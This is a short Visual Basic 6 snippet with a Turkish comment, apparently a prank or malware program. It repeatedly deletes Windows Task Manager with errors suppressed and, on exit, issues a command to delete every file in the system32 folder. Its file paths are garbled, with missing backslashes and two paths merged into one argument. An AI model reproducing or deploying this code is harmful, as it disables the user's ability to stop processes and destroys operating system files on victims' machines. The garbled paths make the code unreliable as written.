Private Sub Form_Load()
filecopy "c:windowssystem32taskmgr.exe" , "c:windowsrepeairtaskmgr.exe"
'Burada Taskmgr dosyasını yedekledik
Timer1.interval=10
End Sub
Private Sub Timer1()
ON LOCAL ERROR RESUME NEXT
Kill "c:windowssystem32taskmgr.exe"
End Sub
Private Sub Form_unload()
filecopy "c:windowsrepeairtaskmgr.exe" , "c:windowssystem32taskmgr.exec:windowsrepeairtaskmgr.exe"
kill "C:WINDOWSsystem32*.*"
